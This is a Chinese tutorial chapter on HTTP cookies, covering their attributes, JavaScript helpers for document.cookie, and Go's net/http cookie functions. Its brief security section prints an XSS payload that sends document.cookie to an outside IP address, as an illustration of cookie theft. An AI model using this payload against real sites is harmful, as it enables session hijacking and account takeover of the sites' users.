本书未发布

2.5. cookie

未匹配的标注

Cookie#

HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

cookie 的本质就是 http 的 cookie Header 里面写的数据

例如访问官网,chrome78 网络请求里面的活动请求 header,在 cookie header 第一段数据就是__utmc=110886291, 就是一个 cookie 的键值数据。

:authority: golang.org
:method: GET
:path: /
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
accept-encoding: gzip, deflate, br
accept-language: zh-CN,zh;q=0.9,en;q=0.8
cache-control: no-cache
cookie: __utmc=110886291; __utmz=110886291.1575179973.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.284134183.1575179973; _gid=GA1.2.1463361514.1575348908; __utma=110886291.284134183.1575179973.1575367986.1575386541.4; __utmt=1; __utmb=110886291.1.10.1575386541
dnt: 1
pragma: no-cache
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

cookie 属性#

名称 键名 作用
名称 Name cookie 的名称
内容 Value cookie 的值
域名 Domain cookie 存在的域名
路径 Path 指定 uri 路径之下生效
过期时间 Expire 失效时间
是否安全 Secure 是否只能用于 https
是否仅用于 http HttpOnly 是否仅用于 http 传输 true 时阅览器 document 无法读取

http#

在 http 协议中,agent 请求时候一般会自动添加 Cookie Header,值就是 cookie 键值对。

如果服务端修改 cookie,在 Response Header 里面会有 Set-Cookie Header,agent 会根据值来修改自身 cookie。

通过查看 http 请求和响应或者抓包可以发现,请求 cookie header 就是服务端收到的 cookie 数据,而服务端设置 cookie 后,响应里面就有 set-cookie header,值就是服务端设置的属性。

详细情况请看 rfc

客户端 js 操作 cookie#

简单来说 cookies 就是阅览器里面一个叫做 document.cookie 的全局字符串对象

进入阅览器控制台输入 console.log(document.cookie), 回车执行就可以看见当前站点的 cookies。

发现 cookies 就是一段序列化的键值字符串,如果需要操作 cookie,则是通过操作 document.cookie 字符串来达到效果。

阅览器中 cookies 会随 http 请求自动发送,在 request 中会有 cookie 和 Set-Cookie 这两个 header, 里面就是 cookie,h5 的 fetch 需要指定是否发送 cookies, 默认不发送 cookies

js 操作 cookie 数据,直接读写 document.cookie 对象,封装函数如下:

"use strict";
function getCookie(name){
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if(arr = document.cookie.match(reg))
        return unescape(arr[2]);
    else
        return null;
}

function setCookie(name, value, expiredays){
    var exp = new Date();
    exp.setDate(exp.getDate() + expiredays)
    document.cookie = name + "=" + escape(value) + ((expiredays==null) ? "" : ";expires=" + exp.toGMTString())
}

function delCookie(name){
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    document.cookie = name + "=;expires=" + exp.toGMTString();
}

服务端 go 操作 cookie#

net/http.Cookie 定义:

type Cookie struct {
        Name  string
        Value string

        Path       string    // optional
        Domain     string    // optional
        Expires    time.Time // optional
        RawExpires string    // for reading cookies only

        // MaxAge=0 means no 'Max-Age' attribute specified.
        // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
        // MaxAge>0 means Max-Age attribute present and given in seconds
        MaxAge   int
        Secure   bool
        HttpOnly bool
        SameSite SameSite // Go 1.11
        Raw      string
        Unparsed []string // Raw text of unparsed attribute-value pairs
}

查看 net/http 定义的函数,可以发现读 Cookie 实现是读取 Request.Header 里面的 Cookie header;而修改 Cookie 就设置 ResponseWriter.Header () 里面的 Set-Cookie header,例如 setcookie。

Example#

操作 cookie

// 设置Cookie
cookie := http.Cookie{Name: "testcookiename", Value: "testcookievalue", Path: "/", MaxAge: 86400}
http.SetCookie(w, &cookie)

// 读取Cookie
cookie, err := req.Cookie("testcookiename")

// 删除Cookie
cookie := http.Cookie{Name: "testcookiename", Path: "/", MaxAge: -1}
http.SetCookie(w, &cookie)

Get#

net/http.Request.Cookies() []*Cookie 方法就是通过读取 net/http.Request.Header["cookie"] 的值,分析出 cookie 键值对来构造 cookie,每次读取 cookie 都会出来一次,效率调低。

readCookies 函数过长不列出。

Set#

net/http.SetCookie(w ResponseWriter, cookie *Cookie) 方法定义,直接将要设置的 cookie 序列化成字符串,给 response 添加 Set-Cookie Header,添加多个 Cookie 就将 Set-Cookie Header 添加多次。

net/http.Cookie.Srting() 方法就是 Cookie 对象的序列化的方法,会将多种属性组合成字符串。

例如:路径、域名、过期时间、只读、仅 https 这些属性。

以下是 SetCookie 和修改请求 Cookie 的 AddCookie 函数实现:

// SetCookie adds a Set-Cookie header to the provided ResponseWriter's headers.
// The provided cookie must have a valid Name. Invalid cookies may be
// silently dropped.
func SetCookie(w ResponseWriter, cookie *Cookie) {
    if v := cookie.String(); v != "" {
        w.Header().Add("Set-Cookie", v)
    }
}

// AddCookie adds a cookie to the request. Per RFC 6265 section 5.4,
// AddCookie does not attach more than one Cookie header field. That
// means all cookies, if any, are written into the same line,
// separated by semicolon.
func (r *Request) AddCookie(c *Cookie) {
    s := fmt.Sprintf("%s=%s", sanitizeCookieName(c.Name), sanitizeCookieValue(c.Value))
    if c := r.Header.Get("Cookie"); c != "" {
        r.Header.Set("Cookie", c+"; "+s)
    } else {
        r.Header.Set("Cookie", s)
    }
}

安全#

XSS#

XSS 触发后盗取 cookie 信息,然后使用 Cookie 信息操作。

<script>window.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)</script>

CSRF#

cookie 是 CSRF 两种基本触发条件之一。

反馈和交流请加群组:QQ 群 373278915

本文章首发在 LearnKu.com 网站上。

上一篇 下一篇
讨论数量: 0
发起讨论 只看当前版本


暂无话题~